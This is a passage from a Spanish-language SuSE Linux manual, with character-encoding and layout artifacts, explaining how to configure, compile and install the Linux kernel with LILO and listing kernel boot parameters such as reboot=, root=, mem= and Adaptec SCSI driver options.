  22631.                            poco  frecuente  como  p. ej.  parport       y  el  soporte  de  impresora,  driver  para
  22632.                            disqueteras o determinados sistemas de ficheros.
  22633.  
  22634.                            Kmod  no estß dise±ado para descargar automßticamente m≤dulos; pensando
  22635.                            en  la  cantidad  de  memoria  RAM  de  las  computadoras  de  hoy  en  dφa,  se
  22636.                            trata de un operaci≤n no necesaria, ya que con la descarga de un m≤dulo se
  22637.                            desocuparφa  muy  poca  memoria  (ver  /usr/src/linux/Documentation/
  22638.                            kmod.txt). Los servidores que cumplen tareas muy especφficas trabajan mßs
  22639.                            rßpido con un kernel ''monolφtico''.
  22640.  
  22641.  
  22642.  
  22643.                            13.3        Configuraci≤n del kernel
  22644.  
  22645.                            La configuraci≤n del kernel que se instal≤ en el sistema durante la instalaci≤n
  22646.                            o  actualizaci≤n  estß  contenida  en  el  fichero  /usr/src/linux/.config
  22647.                            (ver apartado 2.2.9 en la pßgina 40Seleccionar kernelsubsection.2.2.9) Este
  22648.                            fichero solo se refiere al kernel mismo, no a los m≤dulos que pertenecen al
  22649.                            paquete  kernmod.   Si  tambiΘn  quiere  compilar  de  nuevo  algunos  m≤dulos
  22650.                            tiene que seleccionarlos explφcitamente.
  22651.  
  22652.                            Se puede configurar el kernel de tres formas distintas:
  22653.  
  22654.                             1.   En la lφnea de comando
  22655.  
  22656.                             2.   En un men· en modo texto
  22657.  
  22658.                             3.   En un men· bajo el sistema X Window
  22659.  
  22660.                            Estas tres formas de configuraci≤n se presentan a continuaci≤n.
  22661.  
  22662.  
  22663.                            Configuraci≤n en la lφnea de comando
  22664.  
  22665.                            Para  configurar  el  kernel  se  cambia  a  /usr/src/linux  y  se  introduce  el
  22666.                            siguiente comando:
  22667.  
  22668.                                  tierra:/usr/src/linux  #  make  config
  22669.  
  22670.                            Aparece una serie de preguntas sobre las funciones que el kernel debe sopor-
  22671.                            tar y para contestarlas_existen_generalmente_dos o tres_posibilidades:_ Ya sea
  22672.                            el sencillo |y_ |o |n_ |o bien |y_ |(ingl. yes), |n_ |(ingl. no) o |m_ |(ingl. module). `m'
  22673.                            significa que el driver correspondiente no se incorpora fijo en el kernel, sino
  22674.                            que  es  posible  ''a±adirlo''  en  tiempo  de  ejecuci≤n.   Por  supuesto,  todos  los
  22675.                            drivers que se necesitan para arrancar el sistema_deben incorporarse de forma
  22676.                            fija al kernel; para estos m≤dulos pulse |y_ |.
  22677.  
  22678.                            Al presionar cualquier otra tecla, aparece una ayuda corta sobre la correspon-
  22679.                            diente opci≤n.
  22680.  
  22681.  
  22682.                            Configuraci≤n en modo texto
  22683.  
  22684.                            Una vφa mßs asequible para configurar el kernel se consigue con el comando:
  22685.  
  22686.                                  tierra:/usr/src/linux  #  make  menuconfig
  22687.  
  22688.                            Una gran ventaja es p. ej.   que no hace falta pasar por una gran cantidad de
  22689.                            preguntas modificando solo un aspecto de la configuraci≤n; la configuraci≤n
  22690.                            es mßs estructurada.
  22691.  
  22692.  
  22693. 352
  22694.        ________________________________________________________________13.4.__Ajustes_en_la_configuraci≤n_del_kernel_______________*
  22695.  *______________________
  22696.  
  22697.  
  22698.  
  22699. Configuraci≤n bajo el sistema X Window
  22700. Si estß instalado el sistema X Window (paquete xf86) tal como Tcl/Tk (pa-
  22701.  
  22702. quete tcl y paquete tk), queda la alternativa de iniciar el proceso de insta-
  22703. laci≤n con:
  22704.       tierra:/usr/src/linux  #  make  xconfig
  22705.  
  22706. De este modo se dispone de una superficie grßfica mßs confortable pero es
  22707. preciso iniciar el sistema X Window como superusuario `root', pues de lo
  22708. contrario habrφa que tomar medidas adicionales para tener acceso a la pantalla
  22709. de otro usuario.
  22710.  
  22711.  
  22712. 13.4        Ajustes en la configuraci≤n del kernel
  22713.  
  22714. Debido  a la cantidad no es posible detallar en este manual todas las opciones                                     Ayuda
  22715. que ofrece la configuraci≤n del kernel, pero se puede usar la amplia ayuda en
  22716. lφnea de la que se dispone durante la configuraci≤n del kernel. Lo mßs nuevo
  22717. en cuanto a documentaci≤n se encuentra siempre en el paquete de las fuentes
  22718. del kernel en el directorio /usr/src/linux/Documentation.
  22719.  
  22720.  
  22721. 13.5        Compilaci≤n del kernel
  22722.  
  22723.        _______________________________________________________________________________________________________________________||
  22724.        ||||||||  Si   desea   instalar   su   propio   kernel   en   el   directorio   /boot,   quite           |||            |
  22725.        ||||||||  sencillamente   el   sφmbolo   de   comentario   por   delante   de   la   lφnea               ||             |
  22726.        ||||||||                                                                                                 ||             |
  22727.        ||||||||  INSTALL_PATH=/boot                 (aprox. lφnea 74) en el Makefile principal.                 ||             |
  22728.        ||||||||_______________________________________________________________________________________________________________||_
  22729.  
  22730. Recomendamos  generar  un  ''bzImage''  con  el  cual  se  evita  el  efecto  de  un
  22731. kernel demasiado grande. Es algo que ocurre a menudo cuando se han selec-
  22732. cionado demasiadas caracterφsticas y luego se genera un ''zImage''. Con ''bz-
  22733. Image'' se evitan entonces los mensajes tφpicos como "kernel  too  big÷
  22734. "System  is  too  big".
  22735. Una  vez  adaptado  el  kernel  a  sus  necesidades,  debe  iniciar  la  compilaci≤n
  22736. con:
  22737.       tierra:/usr/src/linux  #  make  dep
  22738.       tierra:/usr/src/linux  #  make  clean
  22739.       tierra:/usr/src/linux  #  make  bzImage
  22740. Se pueden introducir tambiΘn los 3 comandos en una sola lφnea y asφ se eje-
  22741. cutan  uno  despuΘs  del  otro.   De  esta  manera,  la  compilaci≤n  se  hace  ''au-
  22742. tomßticamente'', lo que permite salir a tomar un cafΘ o dejar la computadora
  22743. trabajando durante la noche. Para ello introduzca:
  22744.       tierra:/usr/src/linux  #  make  dep  clean  bzImage
  22745.  
  22746. Seg·n la potencia de la computadora, Θsta puede tardar desde algunos minutos
  22747. (AMD Athlon / Intel Pentium III  rßpido)   1  hasta un par de horas (386 con
  22748. 8 MB de RAM) para compilar el kernel.
  22749.  
  22750. DespuΘs de una compilaci≤n exitosa el kernel comprimido se encuentra en el
  22751. directorio_/usr/src/linux/arch/i386____/boot._La_imagen_del_kernel, o sea
  22752. 1  Una prueba com·n para hardware y software es la compilaci≤n del kernel con la opci≤n
  22753. make  -j   , que requiere de mucha memoria RAM (hasta mßs de 100 MB). En este caso se inicia
  22754. un compilador para cada fichero fuente.
  22755.  
  22756.  
  22757.                                                                                                                                    *
  22758.  *   353
  22759. 13.  El kernel    _________________________________________________________________________________________________________________*
  22760.  *_______________________________________@
  22761.  
  22762.  
  22763.  
  22764.                            el fichero que contiene el kernel, se llama  bzImage . Si este no se encuentra
  22765.                            en el mencionado directorio, lo mßs probable es que haya ocurrido un error
  22766.                            durante  la  compilaci≤n  y  que  su  respectivo  mensaje  se  haya  perdido  entre
  22767.                            todos los mensajes en pantalla. Para comprobar si realmente hubo un error se
  22768.                            puede iniciar la compilaci≤n por segunda vez con:
  22769.                                  tierra:/usr/src/linux  #  make  bzImage
  22770.  
  22771.                            y observar si realmente aparecen errores.  íNo hay por quΘ asustarse, errores
  22772.                            durante la compilaci≤n del kernel son mßs bien escasos!
  22773.  
  22774.                            Si se trabaja con la shell ''Bash'',  se pueden direccionar los mensajes de la
  22775.                            compilaci≤n al fichero kernel.out con el comando:
  22776.                                  tierra:/usr/src/linux  #  make  bzImage  2>&1  |  tee  kernel.out
  22777.  
  22778.                            El mismo comando bajo Tcsh serφa:
  22779.                                  tierra:/usr/src/linux  #  make  bzImage  |&  tee  kernel.out
  22780.  
  22781.                            Si hay funciones del kernel que se realizan con m≤dulos, es preciso compi-
  22782.                            larlos, lo cual se consigue con el siguiente comando:
  22783.                                  tierra:/usr/src/linux  #  make  modules
  22784.  
  22785.  
  22786.                            13.6        Instalaci≤n del kernel
  22787.  
  22788.                            DespuΘs de la compilaci≤n del kernel se debe procurar tambiΘn que Θste se
  22789.                            inicie;  si  se  usa  LILO  para  arrancar,  es  preciso  reinstalarlo.   Lo  mßs  fßcil
  22790.                            es copiar el nuevo kernel a /boot/vmlinuz (ver apartado 13.5 en la pßgina
  22791.                            anterior) e iniciar despuΘs LILO . Sin embargo, es mejor conservar el kernel
  22792.                            antiguo (/boot/vmlinuz.old) para evitar sorpresas, en caso de que el nuevo
  22793.                            no funcione tal como se espera:
  22794.                            tierra:/usr/src/linux  #  cp  /boot/vmlinuz  /boot/vmlinuz.old
  22795.                            tierra:/usr/src/linux  #  cp  arch/i386/boot/bzImage  /boot/vmlinuz
  22796.                            tierra:/usr/src/linux  #  lilo
  22797.                            El comando make  bzlilo          realiza estos tres pasos con una sola orden.
  22798.  
  22799.                            Los m≤dulos compilados tambiΘn se deben instalar; el siguiente comando:
  22800.                            tierra:/usr/src/linux  #  make  modules_install
  22801.  
  22802.                            los copia en los directorios de destino correctos (/lib/modules/<versi≤n>                      ).
  22803.                            ________________________________________________________________________________________________________*
  22804.  *________||
  22805.                            |  Si  se  incorporan  m≤dulos  al  kernel,  es  necesario  quitarlos  en  /lib/                        *
  22806.  *        ||||
  22807.                            |                                                                                                       *
  22808.  *        |||
  22809.                            |  modules<Version>           , ya que en caso contrario pueden aparecer efectos                        *
  22810.  *        |||
  22811.                            |  extra±os.  Por eso se ruega encarecidamente a los principiantes en materia                           *
  22812.  *        |||
  22813.                            |                                                                                                       *
  22814.  *        |||
  22815.                            |  de Linux, no compilar un kernel propio.                                                              *
  22816.  *        |||
  22817.                            |_______________________________________________________________________________________________________*
  22818.  *________|||_
  22819.  
  22820.                            Se debe agregar al fichero /etc/lilo.conf (ver apartado 4.4.1 en la pßgi-
  22821.                            na 125El contenido del fichero lilo.conf        subsection.4.4.1) un label (r≤tulo)
  22822.                            adicional denominado Linux.old          y modificar el nombre del kernel antiguo
  22823.                            a /boot/vmlinuz.old.  Asφ se puede arrancar seguro con el kernel antiguo
  22824.                            en caso de que se presentara alg·n problema con el nuevo.  Se trata de una
  22825.                            posibilidad que se explica detalladamente en el capφtulo 4 en la pßgina 119Ar-
  22826.                            rancar y gestor de arranquechapter.4.
  22827.  
  22828.                            Si  el  fichero  /etc/lilo.conf  estß  adaptado  a  las  propias  necesidades,  se
  22829.                            debe ejecutar de nuevo:
  22830.  
  22831.  
  22832. 354
  22833.        _______________________________________________________________________13.7.__Generar_un_disquete_de_arranque_______________*
  22834.  *______________________
  22835.  
  22836.  
  22837.  
  22838.       tierra:/usr/src/linux  #  make  lilo
  22839. Por otra parte, en caso de iniciar Linux desde DOS usando linux.bat ~ o
  22840. sea  con  loadlin  ~  se  necesita  copiar  el  kernel  nuevo  a  /dosc/loadlin/
  22841. bzimage2 , para que se active despuΘs del pr≤ximo arranque.
  22842.  
  22843. Si se inicia Linux con el gestor de arranque de Windows NT no se debe olvi-
  22844. dar de copiar nuevamente el sector de arranque de LILO  (ver apartado 4.7.2
  22845. en la pßgina 136Windows NT y Linux en un disco durosubsection.4.7.2).
  22846.  
  22847. Ademßs  tenga  en  cuenta  lo  siguiente:  el  fichero  /boot/System.map  con-
  22848. tiene  los  sφmbolos  del  kernel  necesarios  para  que  los  m≤dulos  puedan  ac-
  22849. ceder  correctamente  a  las  funciones  del  kernel.   Este  fichero  depende  de
  22850. la  versi≤n  actual  del  kernel  por  lo  que  se  deberφa  copiar  el  fichero  actual3
  22851. /usr/src/linux/System.map al directorio /boot una vez que la compi-
  22852. laci≤n haya finalizado.  Si se usa el comando make  bzlilo           o make  zlilo
  22853. para generar el kernel, la mencionada copia se hace automßticamente.
  22854.  
  22855. Un mensaje como "System.map  does  not  match  actual  kernel" du-
  22856. rante  el  arranque  del  sistema,  indica  que  el  fichero  System.map  no  se  ha
  22857. copiado al directorio /boot.
  22858.  
  22859.  
  22860.  
  22861. 13.7        Generar un disquete de arranque
  22862.  
  22863. Para  generar  un  disquete  de  arranque  con  el  kernel  nuevo,  se  puede  usar
  22864. sencillamente el siguiente comando:
  22865.  
  22866.       tierra:/usr/src/linux  #  make  bzdisk
  22867.  
  22868.  
  22869.  
  22870. 13.8        Limpieza del disco despuΘs de la compilaci≤n del ker-
  22871.  
  22872.             nel
  22873.  
  22874. Los (ficheros de) objetos que se generan durante la compilaci≤n del kernel se
  22875. pueden borrar si estos ocupan demasiado espacio de disco:
  22876.  
  22877. tierra:  #  cd  /usr/src/linux
  22878. tierra:/usr/src/linux  #  make  clean
  22879. Sin embargo, si dispone de suficiente espacio de disco y ademßs piensa mod-
  22880. ificar la configuraci≤n del kernel puede saltarse este paso.  De este modo una
  22881. nueva compilaci≤n va mucho mßs rßpido, ya que solo se compilan las partes
  22882. del sistema que fueron modificadas.
  22883.  
  22884.  
  22885. 2      ____________________________________________________
  22886.   O bien al lugar donde realmente estß loadlin instalado.
  22887. 3 DespuΘs de cada compilaci≤n este fichero se genera de nuevo.
  22888.  
  22889.  
  22890.                                                                                                                                    *
  22891.  *   355
  22892. 13.  El kernel    _________________________________________________________________________________________________________________*
  22893.  *_______________________________________@
  22894.  
  22895. 356
  22896.  
  22897.                                                                                                       Capφtulo  14
  22898.                                                      Parßmetros   del   kernel
  22899.  
  22900.  
  22901.  
  22902. 14.1        Drivers del kernel
  22903.  
  22904. Existe una gran variedad de componentes y perifΘricos para PCs.  El sistema
  22905. operativo  necesita  una  serie  de  ''drivers''  (en  el  caso  de  Linux  el  ''kernel'')
  22906. para poder acceder a estos dispositivos. En principio existen dos mecanismos
  22907. para dar al kernel la funcionalidad de un driver:
  22908.  
  22909.   o   Los drivers se pueden incorporar fijamente al kernel.  Un kernel de este
  22910.       tipo,  de  ''una  sola  pieza'',  se  denomina  en  este  libro  kernel  monolφtico.
  22911.       Algunos drivers solamente existen en esta forma, por lo tanto los kernels
  22912.       monolφticos no dejan de tener justificaci≤n.
  22913.  
  22914.   o   Los drivers se incorporan al kernel en el momento que se necesitan;  un
  22915.       kernel de tal caracterφstica se denomina kernel modularizado.  La ventaja
  22916.       es que solo los drivers necesarios se cargan en el momento necesario y
  22917.       asφ el kernel no arrastra ning·n tipo de ''lastre''.    El kernel del disquete
  22918.       de arranque de SuSE      trabaja a base de m≤dulos y asφ resulta ·til para la
  22919.       mayorφa de las computadoras.
  22920.  
  22921.       Algunos drivers a·n no existen como m≤dulos.
  22922.  
  22923. Independientemente de la ubicaci≤n de los drivers (fijos en el kernel o car-
  22924. gables como m≤dulos), es posible que existan componentes que el kernel no
  22925. sea capaz de reconocer por sφ mismo.  Para tal caso existe la posibilidad de
  22926. especificar mßs exactamente el componente, pasando parßmetros adicionales
  22927. al kernel.
  22928.  
  22929.   o   Proporcionar  informaci≤n  al  kernel  sobre  el  tipo  de  hardware  usado  y
  22930.       c≤mo comunicarse con Θste (p. ej.  rango de memoria, n·mero de interrup-
  22931.       ci≤n, etc.). A veces el driver es capaz de averiguar esto por sφ mismo pero
  22932.       resulta mßs seguro y rßpido tomar la iniciativa.
  22933.  
  22934.   o   En casos problemßticos se puede conseguir un buen funcionamiento del
  22935.       sistema Linux usando parßmetros especiales.
  22936.  
  22937. En  el  caso  de  un  kernel  monolφtico  se  deben  pasar  los  parßmetros  al  ker-
  22938. nel a travΘs de un ''bootloader''1 .  Los drivers en forma de m≤dulos reciben
  22939. sus parßmetros mediante los comandos insmod  o modprobe , que cargan si-
  22940. multßneamente_el_m≤dulo.___________________________________
  22941. 1  Por eso estos parßmetros tambiΘn se denominan parßmetros de LILO , por el ''bootloader''
  22942. tradicional de la arquitectura x86.
  22943.  
  22944.  
  22945.                                                                                                                                    *
  22946.  *   357
  22947. 14.  Parßmetros del_kernel_________________________________________________________________________________________________________*
  22948.  *_______________________________________@
  22949.  
  22950.  
  22951.  
  22952.                            En cada inicio de sistema se deben indicar los parßmetros, ya que el kernel
  22953.                            desafortunadamente no ''aprende'' por sφ mismo.  DespuΘs de la instalaci≤n
  22954.                            es posible colocar los parßmetros de kernel en los ficheros /etc/lilo.conf
  22955.                            o  /etc/modules.conf.   Con  ello  se  consigue  que  LILO  o  modprobe  los
  22956.                            eval·en automßticamente.
  22957.  
  22958.                            El formato de indicaci≤n de los parßmetros para los drivers en forma de m≤-
  22959.                            dulos, lamentablemente es diferente al de los drivers incorporados al kernel,
  22960.                            por lo cual mßs adelante se detallan estos parßmetros minuciosamente.  Para
  22961.                            algunos  m≤dulos  (lectores  CD-ROM)  el  traspaso  de  los  parßmetros  ya  fue
  22962.                            unificado, asφ que se pueden usar los mismos parßmetros si se estß cargando
  22963.                            un m≤dulo o pasando un parßmetro al prompt del LILO .
  22964.  
  22965.  
  22966.  
  22967.                            14.2        Algunos consejos
  22968.  
  22969.                            Antes  de  que  aparezcan  las  listas  con  los  parßmetros,  le  damos  un  par  de
  22970.                            consejos  acerca  del  reconocimiento  de  hardware  por  parte  de  los  drivers  y
  22971.                            acerca de la indicaci≤n de parßmetros:
  22972.  
  22973.                              o   La mayorφa de los drivers son capaces de realizar un autoprobing, o sea, el
  22974.                                  driver va probando diferentes direcciones en las que se encuentra general-
  22975.                                  mente el hardware.  Haciendo esto, es posible que el driver encuentre un
  22976.                                  componente del cual no se encarga y que lo inicie equivocadamente, por
  22977.                                  lo tanto es posible tambiΘn que la computadora se detenga (se cuelgue).
  22978.  
  22979.                              o   TambiΘn puede ocurrir que un m≤dulo se cargue exitosamente aunque el
  22980.                                  hardware  para  el  que  fue  dise±ado  no  estΘ  presente  en  la  computadora
  22981.                                  (esto pasa sobre todo con los drivers para las tarjetas de red de 3 Com).
  22982.  
  22983.                                  Sin embargo,  por razones de simplicidad,  pruebe primero con el ''auto-
  22984.                                  probing''.  Los drivers que se cargan mal se pueden descargar sin proble-
  22985.                                  mas. Si el hardware no se reconoce bien se puede intentar pasar parßmet-
  22986.                                  ros al kernel para que Θste pueda reconocer correctamente el componente
  22987.                                  en cuesti≤n.
  22988.  
  22989.                              o   Finalmente  existen  algunos  componentes  para  los  que  existen  varios
  22990.                                  drivers  (NCR  53C810 ,  Ultrastor ).   Seg·n  la  informaci≤n  que  tenemos,
  22991.                                  entre los dos Ultrastor-drivers no existe una ventaja importante del uno so-
  22992.                                  bre el otro. El BSD-driver para el NCR53C819 soporta tambiΘn los demßs
  22993.                                  productos NCR53C8xx (p. ej.  53C875) mientras que el NCR-driver an-
  22994.                                  tiguo  soporta  grabadoras  de  CD.  En  caso  de  duda  pruebe  simplemente
  22995.                                  cußl es el driver apropiado para el soporte de su hardware.
  22996.  
  22997.                            En el momento del arranque, la distribuci≤n_norteamericana_del teclado_a·n
  22998.                            estß activa,_por lo tanto el |=_ |estß en la tecla de |í_ |y el |;_ |se ''oculta'' bajo la
  22999.                            tecla |±_ |, etc.  La distribuci≤n del teclado se ve en la figura 14.1 en la pßgina
  23000.                            siguiente.
  23001. 358
  23002.        __________________________________________________________________________________________________14.3.__Los_parßmetros_____*
  23003.  *______________________
  23004.  
  23005.        _______________________________________________________________________________________________________________________||||
  23006.        ||||||||                                                                                                                |
  23007.        |||||||||                                                                                                               ||
  23008.        ||||||||                                                                                                                |
  23009.        ||||||||                                                                                                                |
  23010.        ||||||||                                                                                                                |
  23011.        ||||||||                                                                                                                |
  23012.        ||||||||                                                                                                                |
  23013.        ||||||||                                                                                                                |
  23014.        ||||||||                                                                                                                |
  23015.        ||||||||                                                                                                                |
  23016.        ||||||||_______________________________________________________________________________________________________________ |
  23017.  
  23018.  
  23019.                 Figura 14.1: La distribuci≤n del teclado norteamericano
  23020.  
  23021.  
  23022.  
  23023. 14.3        Los parßmetros
  23024.  
  23025.  
  23026. 14.3.1       Anotaci≤n y significado
  23027.  
  23028. Las siguientes listas de parßmetros del kernel, presentadas en orden alfabΘti-
  23029. co,  mencionan los distintos dispositivos y sus respectivos drivers junto con
  23030. los  parßmetros  necesarios  o  admitidos.   Los  siguientes  parßmetros  siempre
  23031. aparecen con el mismo significado que se detalla a continuaci≤n:
  23032.  
  23033.        ______________________________________________________________________________________________________________________
  23034.  
  23035.    <addr>                      identificaci≤n de puerto hexadecimal, (p. ej.  0x300)
  23036.    <irq>                       Interrupci≤n para el acceso al dispositivo (p. ej.  7)
  23037.    <dma>                       canal DMA a travΘs del cual se comunica el disposi-
  23038.                                tivo, (p. ej.  1)
  23039.    <startaddress>,
  23040.    <endaddress>                zona de memoria hexadecimal para shared memory
  23041.  
  23042.        ______________________________________________________________________________________________________________________
  23043.  
  23044.     Tabla  14.1:   Nombres  de  variables  para  parßmetros  del  kernel  de  uso
  23045.     frecuente
  23046. A continuaci≤n se explican sobre todo los parßmetros importantes para una
  23047. instalaci≤n exitosa y no aquellos que pueden servir para fines muy especiales.
  23048. Al indicar parßmetros se debe tener en cuenta la diferencia entre may·sculas
  23049. y min·sculas.
  23050.  
  23051. DespuΘs de la instalaci≤n se encuentra una introducci≤n sobre todas las posi-
  23052. bilidades  de  los  parßmetros  del  kernel  en  el  BootPrompt-HOWTO  del  di-
  23053. rectorio  /usr/doc/howto  y  junto  con  las  fuentes  del  kernel  en  el  fichero
  23054. /usr/src/linux/Documentation/kernel-parameters.txt.
  23055.  
  23056.  
  23057.                                                                                                                                    *
  23058.  *   359
  23059. 14.  Parßmetros del_kernel_________________________________________________________________________________________________________*
  23060.  *_______________________________________@
  23061.  
  23062.  
  23063.  
  23064.                            14.3.2       Parßmetros del kernel en el Boot-Prompt
  23065.                            Los parßmetros que se mencionan en este apartado solo se pueden pasar di-
  23066.  
  23067.                            rectamente al kernel,  p. ej.  al prompt de SYSLINUX  (en caso del disquete
  23068.                            de  arranque  suministrado),  al  prompt  de  LILO  o  mediante  loadlin .   Si  de-
  23069.                            sea  usar  el  driver  en  cuesti≤n  como  m≤dulo,  consulte  los  parßmetros  apli-
  23070.                            cables,  en  este  caso  en  el  apartado  14.3.4  en  la  pßgina  373Parßmetros  de
  23071.                            modprobe        subsection.14.3.4.
  23072.                            ________________________________________________________________________________________________________*
  23073.  *________||
  23074.                            |  íTodos los parßmetros importantes para un driver se deben indicar uno trßs                           *
  23075.  *        ||||
  23076.                            |  otro, separados por comas! No se debe agregar jamßs un espacio entre los                             *
  23077.  *        |||
  23078.                            |                                                                                                       *
  23079.  *        |||
  23080.                            |  parßmetros!                                                                                          *
  23081.  *        |||
  23082.                            |_______________________________________________________________________________________________________*
  23083.  *________|||_
  23084.  
  23085.                            Para  indicar  p. ej.  los  parßmetros  del  driver  aha1542       en  el  Bootprompt,  se
  23086.                            introduce lo siguiente (al comienzo siempre se indica el nombre del fichero
  23087.                            que  contiene  el  kernel;  en  los  disquetes  de  arranque  de  SuSE     el  kernel  se
  23088.                            llama linux!):
  23089.  
  23090.                                  linux  aha1542=0x300
  23091.  
  23092.  
  23093.                            Parßmetros de arranque generales
  23094.  
  23095.       Parßmetros           Mediante  algunos  parßmetros  generales  es  posible  influir  en  el  compor-
  23096.          generales         tamiento general del kernel de Linux; ver la pßgina del manual de bootparam
  23097.                            (man  7  bootparam            ).
  23098.  
  23099.  
  23100.                              o   Modo de reinicio (saliendo de Linux)
  23101.  
  23102.                                  reboot=<modo>
  23103.  
  23104.                                  donde <modo>        puede tener los siguientes valores:
  23105.  
  23106.                                  ____________________________________________________________________________________________
  23107.                                  |__variable____|____valores_/_significado__________________________________________|_________
  23108.  
  23109.                                  |  <modo>          |warm     Reinicio en caliente (sin test de memoria)  |
  23110.                                  |                  |cold     Reinicio en frφo (con test de memoria)       |
  23111.                                  |                  |bios     Reinicio por BIOS                                    |
  23112.                                  |__________________|hard_____Reinicio_por_CPU-Crash_(triple_fault)_________|________________
  23113.  
  23114.                                  Ejemplo:    reboot=cold
  23115.                                  inicia la computadora despuΘs del ''shutdown'' de Linux como si se hu-
  23116.                                  biera pulsado la tecla Reset.
  23117.  
  23118.  
  23119.  
  23120.                              o   Protecci≤n de rangos E/S (Reservar)
  23121.  
  23122.                                  reserve=<start1>,<ancho1>,...,<startN>,<anchoN>
  23123.  
  23124.                                  Con este parßmetro se pueden reservar rangos de E/S (entrada/salida) para
  23125.                                  el hardware que no resista el ''autoprobing'',  reaccionando p. ej.   con un
  23126.                                  cuelgue del sistema.
  23127.  
  23128.                                  Ejemplo: Con el comando:
  23129.  
  23130.                                  reserve=0x330,32  ether=5,0x330,eth0
  23131.  
  23132.                                  se puede proteger una tarjeta de red sensible al autoprobing sin dejar de
  23133.                                  inicializarla.  En el ejemplo dado la tarjeta tiene un rango de E/S de un
  23134.  
  23135.  
  23136. 360
  23137.        __________________________________________________________________________________________________14.3.__Los_parßmetros_____*
  23138.  *______________________
  23139.  
  23140.  
  23141.  
  23142.       ancho de 32 byte, que comienza a partir de la direcci≤n de memoria 0x330
  23143.       y el valor de la interrupci≤n es 5 .
  23144.       El significado de los parßmetros de tarjetas de red se explica en el aparta-
  23145.       do 14.3.2 en la pßgina 368Otros dispositivostable.14.2.
  23146.  
  23147.  
  23148.  
  23149.   o   Indicar partici≤n raφz
  23150.  
  23151.       root=<partici≤n>
  23152.  
  23153.        _____________________________________________________________________________
  23154.        ||__variable______________|__valores_/_significado_________________|__________
  23155.  
  23156.        ||__<partici≤n>______________|p._ej./dev/hda1,_/dev/sdb5__|__________________
  23157.  
  23158.       Ejemplo:    root=/dev/hda5
  23159.       Arranca el kernel e intenta montar la partici≤n raφz del primer disco l≤gico
  23160.       en la partici≤n extendida del primer disco duro (E)IDE.
  23161.  
  23162.  
  23163.  
  23164.   o   Cantidad de memoria RAM  (RAM)
  23165.  
  23166.       mem=<cantidad>                Puede  indicar  la  cantidad  de  +  Memoria  en  bytes,
  23167.       kilobytes o megabytes. Los ejemplos muestran las diferentes anotaciones
  23168.       para 96 MB de RAM.
  23169.  
  23170.       Ejemplos:
  23171.  
  23172.       mem=96M
  23173.       mem=98304k
  23174.  
  23175.       En raras ocasiones es posible que la placa base o el chipset no puedan lib-
  23176.       erar toda la memoria ya que usan una cierta cantidad para ''fines propios''
  23177.       (pueden ser hasta 512 K). Con el mΘtodo de ''prueba y error'' serφa posible
  23178.       determinar la cantidad exacta, pero para simplificar se puede suponer que
  23179.       se trata de 512 K; en nuestro ejemplo es lo siguiente:
  23180.  
  23181.       mem=5ff8000
  23182.  
  23183.       Si la computadora es un Pentium cl≤nico, el comando
  23184.  
  23185.       mem=nopentium
  23186.  
  23187.       puede hacer que trabaje una computadora que antes no funcionaba.
  23188.  
  23189.  
  23190. Controladoras SCSI y el SCSI-subsistema
  23191.  
  23192. Se  puede  influir  en  la  mayorφa  de  las  controladoras  SCSI  a  travΘs  de  los                              Controladora
  23193. parßmetros.                                                                                                        SCSI
  23194.  
  23195.  
  23196.   o   Unidades de cinta SCSI (Streamer)
  23197.  
  23198.       st=<b·fer>,<barrera>[,<max>]
  23199.  
  23200.        _____________________________________________________________________________________________________
  23201.        ||__variable__________|__valores_/_significado_____________________________________________|__________
  23202.  
  23203.        ||  <b·fer>              |Tama±o del b·fer (n·mero de bloques de 1 KB)    |
  23204.        ||  <barrera>            |Limite de escritura (n·mero de bloques de 1 KB)  |
  23205.        ||                       |(ingl. write threshold)                                          |
  23206.        ||__<max>________________|N·mero_mßximo_de_b·feres_opcional_(p._ej.__2)_______|______________________
  23207.  
  23208.       Ejemplo:    st=1000,2000
  23209.  
  23210.  
  23211.                                                                                                                                    *
  23212.  *   361
  23213. 14.  Parßmetros del_kernel_________________________________________________________________________________________________________*
  23214.  *_______________________________________@
  23215.  
  23216.  
  23217.  
  23218.                              o   N·mero de dispositivos SCSI por ID
  23219.                                  max_scsi_luns=<n·mero>
  23220.  
  23221.                                  ________________________________________________________
  23222.                                  |__variable________|____valores_/_significado__|_________
  23223.  
  23224.                                  |__<n·mero>____________|1..8___________________________|_
  23225.  
  23226.                                  Ejemplo:
  23227.  
  23228.                                  Si solo desea usar explφcitamente el primer LUN (ingl. logical unit num-
  23229.                                  ber), se debe definir el parßmetro como: max_scsi_luns=1              .
  23230.  
  23231.                                  Una  aplicaci≤n  tφpica  son  los  lectores  con  m·ltiples  CDs,  para  los
  23232.                                  que  el  n·mero  de  CDs  utilizables  es  igual  al  valor  del  parßmetro
  23233.                                  max_scsi_luns           .
  23234.  
  23235.  
  23236.  
  23237.                              o   Adaptec AHA-1520 / 1522 / 1510 / 1515 / 1505 SCSI-hostadaptor
  23238.  
  23239.                                  aha152x=<addr>,<irq>,<id>[,<rec>[,<par>[,<sync>[,
  23240.                                  <delay>[<ext_trans>]]]]]
  23241.  
  23242.                                  __________________________________________________________________________________________________*
  23243.  *_________
  23244.                                  |__variable_______________________________________|_____valores_/_significado_____________________*
  23245.  *__|_______
  23246.  
  23247.                                  |  <id>       (SCSI-ID del hostadaptor)  |              ID del hostadaptor, normal 7           |
  23248.                                  |  <rec>        (reconnect)                      |      0, 1                                      *
  23249.  *         |
  23250.                                  |  <par>        (parity)                            |   0, 1  comprobaci≤n de paridad        |
  23251.                                  |  <sync>         (synchronous)                |        0, 1  transferencia sincr≤nica           |
  23252.                                  |  <delay>                                            | 100   retardo de bus, valor estßndar  |
  23253.                                  |__<ext_trans>________________________________________|_0,_1__C/H/S-transformaci≤n_____________|__*
  23254.  *_________
  23255.  
  23256.                                  Este driver permite usar muchas controladoras SCSI de bajo coste.  Por
  23257.                                  ejemplo,  todas  las  tarjetas  de  sonido  con  controladora  SCSI  (aparte  de
  23258.                                  la Pro Audio Spectrum ) incorporan uno de estos chips de Adaptec y se
  23259.                                  pueden usar con este driver.
  23260.  
  23261.                                  Para todas las 152x no originales,  es posible que se necesite siempre el
  23262.                                  cuarto parßmetro (RECONNECT        ) para hacerlas funcionar y este parßmetro
  23263.                                  debe  estar  en  `0'  para  casi  todos  los  tipos;  solamente  la  controladora
  23264.                                  AHA2825 necesita el valor `1'.
  23265.  
  23266.                                  Ejemplo:    aha152x=0x300,10,7
  23267.  
  23268.  
  23269.  
  23270.                              o   Adaptec AHA-1540 / 1542 SCSI-hostadaptor
  23271.  
  23272.                                  aha1542=<addr>[,<buson>,<busoff>[,<DMA  speed>]]
  23273.  
  23274.                                  _____________________________________________________________
